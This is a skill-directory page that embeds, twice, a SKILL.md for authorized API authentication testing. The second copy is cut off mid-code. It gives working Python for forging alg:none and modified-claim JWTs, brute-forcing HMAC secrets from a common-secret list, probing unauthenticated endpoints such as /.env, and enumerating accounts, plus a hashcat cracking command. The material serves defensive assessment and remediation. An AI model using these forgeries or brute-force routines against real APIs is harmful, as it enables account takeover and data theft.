[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGA2CP0N9XGPF8DRPPHVGM":3,"skill-same:01M6AGA2CP0N9XGPF8DRPPHVGM":155},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":76,"commitSha":77,"skillDirectory":78,"forksCount":79,"repositoryHtmlUrl":80,"repositoryHomepageUrl":81,"ownerHtmlUrl":82,"ownerBlogUrl":83,"ownerDescription":84,"updatedAt":85,"install":86,"resources":99},"01M6AGA2CP0N9XGPF8DRPPHVGM","testing-api-authentication-weaknesses",null,"Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"testing api authentication weaknesses","api","authentication","testing","OAuth","credential-security","broken authentication","session-management","t1059","entropy","t1003","owasp","api-security","logs","validation","assessment","pr","auth","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-api-authentication-weaknesses\ndescription: 'Tests API authentication mechanisms for weaknesses including broken\n  token validation, missing authentication on endpoints, weak password policies, credential\n  stuffing susceptibility, token leakage in URLs or logs, and session management flaws.\n  The tester evaluates JWT implementation, API key handling, OAuth flows, and session\n  token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken\n  Authentication. Activates for requests involving API authentication testing, token\n  validation assessment, credential security testing, or API auth bypass.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- authentication\n- jwt\n- session-management\n- credential-security\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1003\n- T1110\n---\n# Testing API Authentication Weaknesses\n\n## When to Use\n\n- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment\n- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)\n- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed\n- Testing API key generation, storage, and rotation mechanisms for predictability or leakage\n- Validating session management including token expiration, revocation, and refresh token security\n\n**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.\n\n## Prerequisites\n\n- Written authorization specifying target API and authentication mechanisms in scope\n- Valid test credentials for at least two user roles (regular user, admin)\n- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)\n- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries\n- Wordlists for credential testing (SecLists authentication wordlists)\n- API documentation or OpenAPI specification\n\n## Workflow\n\n### Step 1: Authentication Mechanism Identification\n\n```python\nimport requests\nimport json\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Probe the API to identify authentication mechanisms\nauth_indicators = {\n    \"jwt_bearer\": False,\n    \"api_key_header\": False,\n    \"api_key_query\": False,\n    \"basic_auth\": False,\n    \"oauth2\": False,\n    \"session_cookie\": False,\n    \"custom_token\": False,\n}\n\n# Test 1: Check unauthenticated access\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\")\nprint(f\"Unauthenticated: {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Endpoint accessible without authentication\")\n\n# Test 2: Check WWW-Authenticate header\nif \"WWW-Authenticate\" in resp.headers:\n    scheme = resp.headers[\"WWW-Authenticate\"]\n    print(f\"Auth scheme advertised: {scheme}\")\n    if \"Bearer\" in scheme:\n        auth_indicators[\"jwt_bearer\"] = True\n    elif \"Basic\" in scheme:\n        auth_indicators[\"basic_auth\"] = True\n\n# Test 3: Login and examine tokens\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": \"testuser@example.com\", \"password\": \"TestPass123!\"})\n\nif login_resp.status_code == 200:\n    login_data = login_resp.json()\n    # Check for JWT tokens\n    for key in [\"token\", \"access_token\", \"jwt\", \"id_token\"]:\n        if key in login_data:\n            token = login_data[key]\n            if token.count('.') == 2:\n                auth_indicators[\"jwt_bearer\"] = True\n                print(f\"JWT found in response field: {key}\")\n    # Check for refresh tokens\n    for key in [\"refresh_token\", \"refresh\"]:\n        if key in login_data:\n            print(f\"Refresh token found in field: {key}\")\n    # Check for session cookies\n    for cookie in login_resp.cookies:\n        print(f\"Cookie set: {cookie.name} = {cookie.value[:20]}...\")\n        if \"session\" in cookie.name.lower():\n            auth_indicators[\"session_cookie\"] = True\n\nprint(f\"\\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}\")\n```\n\n### Step 2: Unauthenticated Endpoint Discovery\n\n```python\n# Test all endpoints without authentication\nendpoints = [\n    (\"GET\", \"\u002Fusers\"),\n    (\"GET\", \"\u002Fusers\u002Fme\"),\n    (\"GET\", \"\u002Fusers\u002F1\"),\n    (\"GET\", \"\u002Fadmin\u002Fusers\"),\n    (\"GET\", \"\u002Fadmin\u002Fsettings\"),\n    (\"GET\", \"\u002Fhealth\"),\n    (\"GET\", \"\u002Fmetrics\"),\n    (\"GET\", \"\u002Fdebug\"),\n    (\"GET\", \"\u002Factuator\"),\n    (\"GET\", \"\u002Factuator\u002Fenv\"),\n    (\"GET\", \"\u002Fswagger.json\"),\n    (\"GET\", \"\u002Fapi-docs\"),\n    (\"GET\", \"\u002Fgraphql\"),\n    (\"POST\", \"\u002Fgraphql\"),\n    (\"GET\", \"\u002Fconfig\"),\n    (\"GET\", \"\u002Finternal\u002Fstatus\"),\n    (\"GET\", \"\u002F.env\"),\n    (\"GET\", \"\u002Fstatus\"),\n    (\"GET\", \"\u002Finfo\"),\n    (\"GET\", \"\u002Fversion\"),\n]\n\nprint(\"Unauthenticated Endpoint Scan:\")\nfor method, path in endpoints:\n    try:\n        resp = requests.request(method, f\"{BASE_URL}{path}\", timeout=5)\n        if resp.status_code not in (401, 403):\n            content_preview = resp.text[:100] if resp.text else \"empty\"\n            print(f\"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}\")\n    except requests.exceptions.RequestException:\n        pass\n```\n\n### Step 3: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport hmac\nimport hashlib\n\ndef decode_jwt_parts(token):\n    \"\"\"Decode JWT header and payload without verification.\"\"\"\n    parts = token.split('.')\n    if len(parts) != 3:\n        return None, None\n\n    def pad_base64(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))\n    return header, payload\n\n# Analyze the JWT token\ntoken = login_data.get(\"access_token\", \"\")\nheader, payload = decode_jwt_parts(token)\n\nprint(f\"JWT Header: {json.dumps(header, indent=2)}\")\nprint(f\"JWT Payload: {json.dumps(payload, indent=2)}\")\n\n# Security checks\nissues = []\n\n# Check 1: Algorithm\nif header.get(\"alg\") == \"none\":\n    issues.append(\"CRITICAL: Algorithm set to 'none' - token signature not verified\")\nif header.get(\"alg\") in (\"HS256\", \"HS384\", \"HS512\"):\n    issues.append(\"INFO: Symmetric algorithm used - check for weak\u002Fdefault secrets\")\n\n# Check 2: Expiration\nif \"exp\" not in payload:\n    issues.append(\"HIGH: No expiration claim (exp) - token never expires\")\nelse:\n    import time\n    exp_time = payload[\"exp\"]\n    ttl = exp_time - time.time()\n    if ttl > 86400:\n        issues.append(f\"MEDIUM: Token TTL is {ttl\u002F3600:.0f} hours - excessively long\")\n\n# Check 3: Sensitive data in payload\nsensitive_fields = [\"password\", \"ssn\", \"credit_card\", \"secret\", \"private_key\"]\nfor field in sensitive_fields:\n    if field in payload:\n        issues.append(f\"HIGH: Sensitive field '{field}' in JWT payload\")\n\n# Check 4: Missing claims\nexpected_claims = [\"iss\", \"aud\", \"exp\", \"iat\", \"sub\"]\nmissing = [c for c in expected_claims if c not in payload]\nif missing:\n    issues.append(f\"MEDIUM: Missing standard claims: {missing}\")\n\n# Check 5: Key ID\nif \"kid\" in header:\n    kid = header[\"kid\"]\n    # Test for path traversal in kid\n    issues.append(f\"INFO: Key ID (kid) present: {kid} - test for injection\")\n\nfor issue in issues:\n    print(f\"  [{issue.split(':')[0]}] {issue}\")\n```\n\n### Step 4: JWT Manipulation Attacks\n\n```python\n# Attack 1: Remove signature (alg: none)\ndef forge_none_algorithm(token):\n    \"\"\"Create a token with alg:none to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    header['alg'] = 'none'\n    new_header = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    # Variations of the none algorithm\n    return [\n        f\"{new_header}.{parts[1]}.\",\n        f\"{new_header}.{parts[1]}.{parts[2]}\",\n        f\"{new_header}.{parts[1]}.e30\",\n    ]\n\n# Attack 2: Modify claims without re-signing\ndef forge_payload(token, modifications):\n    \"\"\"Modify payload claims and test if server validates signature.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n    payload_data.update(modifications)\n    new_payload = base64.urlsafe_b64encode(\n        json.dumps(payload_data).encode()).decode().rstrip('=')\n    return f\"{parts[0]}.{new_payload}.{parts[2]}\"\n\n# Attack 3: Brute force weak HMAC secrets\nCOMMON_JWT_SECRETS = [\n    \"secret\", \"password\", \"123456\", \"jwt_secret\", \"supersecret\",\n    \"key\", \"test\", \"admin\", \"changeme\", \"default\",\n    \"your-256-bit-secret\", \"my-secret-key\", \"jwt-secret\",\n    \"s3cr3t\", \"secret123\", \"mysecretkey\", \"apisecret\",\n]\n\ndef brute_force_jwt_secret(token):\n    \"\"\"Try common secrets against HMAC-signed JWTs.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):\n        print(\"Not an HMAC token, skipping brute force\")\n        return None\n\n    signing_input = f\"{parts[0]}.{parts[1]}\".encode()\n    signature = parts[2]\n\n    hash_func = {\n        'HS256': hashlib.sha256,\n        'HS384': hashlib.sha384,\n        'HS512': hashlib.sha512\n    }[header['alg']]\n\n    for secret in COMMON_JWT_SECRETS:\n        expected_sig = base64.urlsafe_b64encode(\n            hmac.new(secret.encode(), signing_input, hash_func).digest()\n        ).decode().rstrip('=')\n        if expected_sig == signature:\n            print(f\"[CRITICAL] JWT secret found: '{secret}'\")\n            return secret\n\n    print(\"No common secrets matched - consider using hashcat\u002Fjohn for extended brute force\")\n    return None\n\n# Test all attacks\nnone_tokens = forge_none_algorithm(token)\nfor none_token in none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n                       headers={\"Authorization\": f\"Bearer {none_token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] alg:none bypass successful\")\n\n# Test privilege escalation via claim modification\nadmin_token = forge_payload(token, {\"role\": \"admin\", \"is_admin\": True})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n                   headers={\"Authorization\": f\"Bearer {admin_token}\"})\nif resp.status_code == 200:\n    print(\"[CRITICAL] JWT claim modification accepted without signature validation\")\n\nbrute_force_jwt_secret(token)\n```\n\n### Step 5: Token Lifecycle Testing\n\n```python\n# Test 1: Token reuse after logout\nlogout_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogout\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nprint(f\"Logout: {logout_resp.status_code}\")\n\n# Try to use the token after logout\npost_logout_resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nif post_logout_resp.status_code == 200:\n    print(\"[HIGH] Token still valid after logout - no server-side revocation\")\n\n# Test 2: Token reuse after password change\n# (requires changing password and then testing old token)\n\n# Test 3: Refresh token rotation\nrefresh_token = login_data.get(\"refresh_token\")\nif refresh_token:\n    # Use refresh token\n    refresh_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    new_tokens = refresh_resp.json()\n\n    # Try to reuse the same refresh token (should fail if rotation is implemented)\n    reuse_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    if reuse_resp.status_code == 200:\n        print(\"[HIGH] Refresh token reuse allowed - no rotation implemented\")\n\n# Test 4: Token in URL (leakage risk)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme?token={token}\")\nif resp.status_code == 200:\n    print(\"[MEDIUM] Token accepted in query parameter - may leak in logs\u002Freferrer\")\n```\n\n### Step 6: Password Policy and Credential Testing\n\n```python\n# Test password policy enforcement on registration\u002Fchange endpoints\nweak_passwords = [\n    \"a\",           # Too short\n    \"password\",    # Common password\n    \"12345678\",    # Numeric only\n    \"abcdefgh\",    # Alpha only, no complexity\n    \"Password1\",   # Meets basic complexity but is common\n    \"\",            # Empty\n    \" \",           # Whitespace\n]\n\nfor pwd in weak_passwords:\n    resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Fregister\",\n        json={\"email\": f\"test_{hash(pwd)%9999}@example.com\",\n              \"password\": pwd, \"name\": \"Test User\"})\n    if resp.status_code in (200, 201):\n        print(f\"[WEAK POLICY] Password accepted: '{pwd}'\")\n\n# Test account enumeration via login response differences\nvalid_email = \"testuser@example.com\"\ninvalid_email = \"nonexistent_user_xyz@example.com\"\n\nresp_valid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": valid_email, \"password\": \"wrongpassword\"})\nresp_invalid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": invalid_email, \"password\": \"wrongpassword\"})\n\nif resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:\n    print(f\"[MEDIUM] Account enumeration possible:\")\n    print(f\"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}\")\n    print(f\"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |\n| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |\n| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |\n| **Credential Stuffing** | Automated attack using leaked username\u002Fpassword pairs against authentication endpoints |\n| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |\n| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |\n\n## Tools & Systems\n\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes\n- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing\n- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)\n- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing\n- **Nuclei**: Template-based scanner with authentication bypass detection templates\n\n## Common Scenarios\n\n### Scenario: SaaS Platform API Authentication Assessment\n\n**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.\n\n**Approach**:\n1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role\n2. Test alg:none bypass: server rejects the token (secure)\n3. Brute force the HMAC secret: discover the secret is \"company-jwt-secret-2023\" (found using hashcat with custom wordlist)\n4. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints\n5. Test token revocation: tokens remain valid after logout and password change (no blacklist)\n6. Test refresh token: refresh token has no expiration and can be reused indefinitely\n7. Find that the password reset endpoint returns different messages for valid vs invalid emails\n8. Discover that the `\u002Fhealth` and `\u002Fmetrics` endpoints are accessible without authentication\n\n**Pitfalls**:\n- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows\n- Not checking if the JWT secret is the same across all environments (dev, staging, production)\n- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week\n- Not testing for token leakage in server logs, URL parameters, or error messages\n\n## Output Format\n\n```\n## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable\n\n**ID**: API-AUTH-001\n**Severity**: Critical (CVSS 9.1)\n**OWASP API**: API2:2023 - Broken Authentication\n**Affected Components**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (token issuance)\n  - All authenticated endpoints (token validation)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogout (ineffective)\n\n**Description**:\nThe API uses HS256-signed JWT tokens with a brute-forceable secret\n(\"company-jwt-secret-2023\"). An attacker who discovers this secret can\nforge tokens for any user with any role, including admin. Additionally,\ntokens are not revocable - logout does not invalidate the token server-side,\nand the 7-day expiration means stolen tokens remain valid for extended periods.\n\n**Attack Chain**:\n1. Capture any valid JWT from authenticated session\n2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt\n3. Secret recovered in 3 minutes: \"company-jwt-secret-2023\"\n4. Forge admin JWT: modify \"role\" claim to \"admin\", re-sign with discovered secret\n5. Access admin endpoints: GET \u002Fapi\u002Fv1\u002Fadmin\u002Fusers returns all 50,000 user accounts\n\n**Remediation**:\n1. Replace HS256 with RS256 using a 2048-bit RSA key pair\n2. Use a cryptographically random secret of at least 256 bits if HMAC must be used\n3. Implement token blacklisting using Redis for logout and password change events\n4. Reduce token TTL to 15 minutes with refresh token rotation\n5. Add `iss` and `aud` claims validation to prevent token misuse across services\n```\n","# Testing API Authentication Weaknesses\n\n## When to Use\n\n- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment\n- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)\n- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed\n- Testing API key generation, storage, and rotation mechanisms for predictability or leakage\n- Validating session management including token expiration, revocation, and refresh token security\n\n**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.\n\n## Prerequisites\n\n- Written authorization specifying target API and authentication mechanisms in scope\n- Valid test credentials for at least two user roles (regular user, admin)\n- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)\n- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries\n- Wordlists for credential testing (SecLists authentication wordlists)\n- API documentation or OpenAPI specification\n\n## Workflow\n\n### Step 1: Authentication Mechanism Identification\n\n```python\nimport requests\nimport json\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Probe the API to identify authentication mechanisms\nauth_indicators = {\n    \"jwt_bearer\": False,\n    \"api_key_header\": False,\n    \"api_key_query\": False,\n    \"basic_auth\": False,\n    \"oauth2\": False,\n    \"session_cookie\": False,\n    \"custom_token\": False,\n}\n\n# Test 1: Check unauthenticated access\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\")\nprint(f\"Unauthenticated: {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Endpoint accessible without authentication\")\n\n# Test 2: Check WWW-Authenticate header\nif \"WWW-Authenticate\" in resp.headers:\n    scheme = resp.headers[\"WWW-Authenticate\"]\n    print(f\"Auth scheme advertised: {scheme}\")\n    if \"Bearer\" in scheme:\n        auth_indicators[\"jwt_bearer\"] = True\n    elif \"Basic\" in scheme:\n        auth_indicators[\"basic_auth\"] = True\n\n# Test 3: Login and examine tokens\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": \"testuser@example.com\", \"password\": \"TestPass123!\"})\n\nif login_resp.status_code == 200:\n    login_data = login_resp.json()\n    # Check for JWT tokens\n    for key in [\"token\", \"access_token\", \"jwt\", \"id_token\"]:\n        if key in login_data:\n            token = login_data[key]\n            if token.count('.') == 2:\n                auth_indicators[\"jwt_bearer\"] = True\n                print(f\"JWT found in response field: {key}\")\n    # Check for refresh tokens\n    for key in [\"refresh_token\", \"refresh\"]:\n        if key in login_data:\n            print(f\"Refresh token found in field: {key}\")\n    # Check for session cookies\n    for cookie in login_resp.cookies:\n        print(f\"Cookie set: {cookie.name} = {cookie.value[:20]}...\")\n        if \"session\" in cookie.name.lower():\n            auth_indicators[\"session_cookie\"] = True\n\nprint(f\"\\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}\")\n```\n\n### Step 2: Unauthenticated Endpoint Discovery\n\n```python\n# Test all endpoints without authentication\nendpoints = [\n    (\"GET\", \"\u002Fusers\"),\n    (\"GET\", \"\u002Fusers\u002Fme\"),\n    (\"GET\", \"\u002Fusers\u002F1\"),\n    (\"GET\", \"\u002Fadmin\u002Fusers\"),\n    (\"GET\", \"\u002Fadmin\u002Fsettings\"),\n    (\"GET\", \"\u002Fhealth\"),\n    (\"GET\", \"\u002Fmetrics\"),\n    (\"GET\", \"\u002Fdebug\"),\n    (\"GET\", \"\u002Factuator\"),\n    (\"GET\", \"\u002Factuator\u002Fenv\"),\n    (\"GET\", \"\u002Fswagger.json\"),\n    (\"GET\", \"\u002Fapi-docs\"),\n    (\"GET\", \"\u002Fgraphql\"),\n    (\"POST\", \"\u002Fgraphql\"),\n    (\"GET\", \"\u002Fconfig\"),\n    (\"GET\", \"\u002Finternal\u002Fstatus\"),\n    (\"GET\", \"\u002F.env\"),\n    (\"GET\", \"\u002Fstatus\"),\n    (\"GET\", \"\u002Finfo\"),\n    (\"GET\", \"\u002Fversion\"),\n]\n\nprint(\"Unauthenticated Endpoint Scan:\")\nfor method, path in endpoints:\n    try:\n        resp = requests.request(method, f\"{BASE_URL}{path}\", timeout=5)\n        if resp.status_code not in (401, 403):\n            content_preview = resp.text[:100] if resp.text else \"empty\"\n            print(f\"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}\")\n    except requests.exceptions.RequestException:\n        pass\n```\n\n### Step 3: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport hmac\nimport hashlib\n\ndef decode_jwt_parts(token):\n    \"\"\"Decode JWT header and payload without verification.\"\"\"\n    parts = token.split('.')\n    if len(parts) != 3:\n        return None, None\n\n    def pad_base64(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))\n    return header, payload\n\n# Analyze the JWT token\ntoken = login_data.get(\"access_token\", \"\")\nheader, payload = decode_jwt_parts(token)\n\nprint(f\"JWT Header: {json.dumps(header, indent=2)}\")\nprint(f\"JWT Payload: {json.dumps(payload, indent=2)}\")\n\n# Security checks\nissues = []\n\n# Check 1: Algorithm\nif header.get(\"alg\") == \"none\":\n    issues.append(\"CRITICAL: Algorithm set to 'none' - token signature not verified\")\nif header.get(\"alg\") in (\"HS256\", \"HS384\", \"HS512\"):\n    issues.append(\"INFO: Symmetric algorithm used - check for weak\u002Fdefault secrets\")\n\n# Check 2: Expiration\nif \"exp\" not in payload:\n    issues.append(\"HIGH: No expiration claim (exp) - token never expires\")\nelse:\n    import time\n    exp_time = payload[\"exp\"]\n    ttl = exp_time - time.time()\n    if ttl > 86400:\n        issues.append(f\"MEDIUM: Token TTL is {ttl\u002F3600:.0f} hours - excessively long\")\n\n# Check 3: Sensitive data in payload\nsensitive_fields = [\"password\", \"ssn\", \"credit_card\", \"secret\", \"private_key\"]\nfor field in sensitive_fields:\n    if field in payload:\n        issues.append(f\"HIGH: Sensitive field '{field}' in JWT payload\")\n\n# Check 4: Missing claims\nexpected_claims = [\"iss\", \"aud\", \"exp\", \"iat\", \"sub\"]\nmissing = [c for c in expected_claims if c not in payload]\nif missing:\n    issues.append(f\"MEDIUM: Missing standard claims: {missing}\")\n\n# Check 5: Key ID\nif \"kid\" in header:\n    kid = header[\"kid\"]\n    # Test for path traversal in kid\n    issues.append(f\"INFO: Key ID (kid) present: {kid} - test for injection\")\n\nfor issue in issues:\n    print(f\"  [{issue.split(':')[0]}] {issue}\")\n```\n\n### Step 4: JWT Manipulation Attacks\n\n```python\n# Attack 1: Remove signature (alg: none)\ndef forge_none_algorithm(token):\n    \"\"\"Create a token with alg:none to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    header['alg'] = 'none'\n    new_header = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    # Variations of the none algorithm\n    return [\n        f\"{new_header}.{parts[1]}.\",\n        f\"{new_header}.{parts[1]}.{parts[2]}\",\n        f\"{new_header}.{parts[1]}.e30\",\n    ]\n\n# Attack 2: Modify claims without re-signing\ndef forge_payload(token, modifications):\n    \"\"\"Modify payload claims and test if server validates signature.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n    payload_data.update(modifications)\n    new_payload = base64.urlsafe_b64encode(\n        json.dumps(payload_data).encode()).decode().rstrip('=')\n    return f\"{parts[0]}.{new_payload}.{parts[2]}\"\n\n# Attack 3: Brute force weak HMAC secrets\nCOMMON_JWT_SECRETS = [\n    \"secret\", \"password\", \"123456\", \"jwt_secret\", \"supersecret\",\n    \"key\", \"test\", \"admin\", \"changeme\", \"default\",\n    \"your-256-bit-secret\", \"my-secret-key\", \"jwt-secret\",\n    \"s3cr3t\", \"secret123\", \"mysecretkey\", \"apisecret\",\n]\n\ndef brute_force_jwt_secret(token):\n    \"\"\"Try common secrets against HMAC-signed JWTs.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):\n        print(\"Not an HMAC token, skipping brute force\")\n        return None\n\n    signing_input = f\"{parts[0]}.{parts[1]}\".encode()\n    signature = parts[2]\n\n    hash_func = {\n        'HS256': hashlib.sha256,\n        'HS384': hashlib.sha384,\n        'HS512': hashlib.sha512\n    }[header['alg']]\n\n    for secret in COMMON_JWT_SECRETS:\n        expected_sig = base64.urlsafe_b64encode(\n            hmac.new(secret.encode(), signing_input, hash_func).digest()\n        ).decode().rstrip('=')\n        if expected_sig == signature:\n            print(f\"[CRITICAL] JWT secret found: '{secret}'\")\n            return secret\n\n    print(\"No common secrets matched - consider using hashcat\u002Fjohn for extended brute force\")\n    return None\n\n# Test all attacks\nnone_tokens = forge_none_algorithm(token)\nfor none_token in none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n                       headers={\"Authorization\": f\"Bearer {none_token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] alg:none bypass successful\")\n\n# Test privilege escalation via claim modification\nadmin_token = forge_payload(token, {\"role\": \"admin\", \"is_admin\": True})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n                   headers={\"Authorization\": f\"Bearer {admin_token}\"})\nif resp.status_code == 200:\n    print(\"[CRITICAL] JWT claim modification accepted without signature validation\")\n\nbrute_force_jwt_secret(token)\n```\n\n### Step 5: Token Lifecycle Testing\n\n```python\n# Test 1: Token reuse after logout\nlogout_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogout\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nprint(f\"Logout: {logout_resp.status_code}\")\n\n# Try to use the token after logout\npost_logout_resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nif post_logout_resp.status_code == 200:\n    print(\"[HIGH] Token still valid after logout - no server-side revocation\")\n\n# Test 2: Token reuse after password change\n# (requires changing password and then testing old token)\n\n# Test 3: Refresh token rotation\nrefresh_token = login_data.get(\"refresh_token\")\nif refresh_token:\n    # Use refresh token\n    refresh_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    new_tokens = refresh_resp.json()\n\n    # Try to reuse the same 